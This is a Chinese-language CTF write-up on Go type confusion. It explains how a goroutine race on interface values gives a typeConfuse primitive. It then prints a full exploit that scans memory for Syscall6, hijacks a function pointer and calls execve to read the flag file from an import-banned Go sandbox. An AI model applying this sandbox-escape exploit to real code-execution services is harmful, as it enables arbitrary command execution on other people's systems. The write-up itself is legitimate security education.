首先了解一下什么是类型混淆漏洞,以及类型混淆漏洞有什么危害。具体内容可以参考这篇文章:https://xz.aliyun.com/news/8187
我在此简单叙述:
比如在 C++ 中,存在两种类型转换:静态类型转换 static_cast 和动态类型转换。其中,静态类型转换并不会做过多的转换和检查,滥用静态类型转换就会出现类型混淆问题。
在 C++ 中,父类指针可以转换为子类指针,但子类指针不能随意转换为父类指针。因为一般来说,子类会对父类有字段和方法的扩展,强制进行这种转换后,在使用指针时就会遇到如 虚函数任意调用、越界读写 等问题。
常见的类型混淆漏洞场景还包括子类指针强制转换:
Golang 在设计时使用安全指针对常规指针增加了限制,主要如下:
但为了方便使用,还是预留了一个 unsafe 指针:unsafe 包用于在编译阶段绕过 Go 语言的类型系统,直接操作内存,让程序拥有直接读写内存的能力,其中 unsafe.Pointer 为通用指针。
如:使用 unsafe.Pointer 把 int64 转换为 float64
package main
import (
"fmt"
"unsafe"
)
func main() {
x := int64(0x3ff0000000000000) // float64 的位模式:1.0
// *int64 → unsafe.Pointer → *float64
f := (*float64)(unsafe.Pointer(&x))
fmt.Println(*f) // 输出 1
}
可能你看到这里还是云里雾里,那类型混淆到底有什么用呢?用一个 CTF 题来仔细感受一下。
题目备份 & writeup:https://github.com/zhangyoufu/pokemongo
题目描述是:给我一段 Go 代码,我帮你编译、执行,唯一的要求是代码中不能 import,请开始你的表演,获取 flag 文件内容。
这道题目由于定义了 sanitizeAndRun 函数来禁用 import,这意味着:
os、io、syscall 等)//go:linkname 指令(需要 unsafe 包)print、println、make、len 等func sanitizeAndRun(src string) (string, error) {
sanitized_src, err := sanitize(src)
if err != nil { return "", err }
return run(sanitized_src)
}
func sanitize(src string) (string, error) {
fset := token.NewFileSet()
f, err := parser.ParseFile(fset, "", src, parser.AllErrors)
if err != nil { return "", err }
for _, imp := range f.Imports {
return "", fmt.Errorf("import %v not allowed", imp.Path.Value)
}
var buf bytes.Buffer
if err := printer.Fprint(&buf, fset, f); err != nil { return "", err }
return buf.String(), nil
}
这里我们可以利用 Go 的并发机制制造 race condition,实现类型混淆,最终达成任意内存读写。
我们这里先介绍一下 eface 结构。
type eface struct {
_type *_type // 第一个格子:存"这是什么类型"
data unsafe.Pointer // 第二个格子:存"数据在哪里"
}
举例说明:当我们在 Go 语言中使用 interface{} 的时候,对 x 赋不同的值时,会对 _type 和 data 设置为不同的值。
var x interface{} // 编译器在底层创建一个 eface 结构体
x = 42 // eface._type = int类型信息, eface.data = 指向42的指针
x = "hello" // eface._type = string类型信息, eface.data = 指向"hello"的指针
x = []int{1,2,3} // eface._type = []int类型信息, eface.data = 指向切片的指针
在这里我们可以看到,如果是并发场景,对 x 赋值并不是一个原子操作。在这个过程中很有可能只赋值了一半,比如已经对 type 赋值了但还没给 data 赋值,这时候就有操作空间了。 youfu 师傅通过下面这个函数来实现把 InputType 的变量转化为 OutputType 的类型。
func typeConfuse[OutputType, InputType any](input *InputType) (output *OutputType) {
var intf any
stop := false
go func() {
for !stop {
intf = any(input)
intf = any(output)
}
}()
for {
if ptr, ok := intf.(*OutputType);
ok && ptr != nil {
stop = true
return ptr
}
}
}
首先,启动一个 goroutine 不断修改 interface 的值。通过不断对 intf 赋值,使其有可能成为 data 为 input、类型为 OutputType 的一个变量。 然后主 goroutine 不断尝试将 interface 断言为 OutputType。当成功观察到类型为 OutputType 但数据是 input 地址时,就实现了类型混淆:获得了一个 OutputType 类型的指针,但它实际指向 InputType 的数据。 这个原语就可以突破前面提到的 Golang 指针限制:
可以用这个原语把指针变量 pdata 的值变成可做算术的 uintptr 来改写,进而实现任意地址的读写。
var dummy uintptr
func main() {
println()
pdata := &dummy
paddr := typeConfuse[uintptr](&pdata)
*paddr &^= 0xF
for *pdata != 0x7C8B480824448B48 {
*paddr -= 0x10
}
println("runtime/internal/syscall.Syscall6 @", pdata)
}
地址 变量 存储的值 说明
0x1000 -> dummy -> 0x0000... (uintptr值)
0x2000 -> pdata -> 0x1000 (*uintptr,存储dummy的地址)
0x3000 -> paddr -> 0x2000 (*uintptr,存储pdata的地址)
这里我们通过 gdb 演示一下这个搜索过程。
这里先在内存中寻找对应指令出现的地址。
完整的思路:
完整的 exp:https://github.com/zhangyoufu/pokemongo/blob/master/exploit/exploit.go
package main
func typeConfuse[OutputType, InputType any](input *InputType) (output *OutputType) {
var intf any
stop := false
go func() {
for !stop {
intf = any(input)
intf = any(output)
}
}()
for {
if ptr, ok := intf.(*OutputType); ok && ptr != nil {
stop = true
return ptr
}
}
}
var dummy uintptr
func main() {
println()
pdata := &dummy
paddr := typeConfuse[uintptr](&pdata)
*paddr &^= 0xF
for *pdata != 0x7C8B480824448B48 {
*paddr -= 0x10
}
println("runtime/internal/syscall.Syscall6 @", pdata)
var ppfunc func(_0,_1,_2,_3,_4,_5,_6,_7,_8 uintptr, syscall_nr uintptr, filename *byte, argv **byte, envp **byte)
*typeConfuse[*uintptr](&ppfunc) = paddr
const NR_EXECVE = 59
filename := []byte("/bin/cat\000")
argv := [](*byte){&filename[0], &[]byte("/home/ctf/flag")[0], nil}
ppfunc(0, 1, 2, 3, 4, 5, 6, 7, 8, NR_EXECVE, &filename[0], &argv[0], nil)
}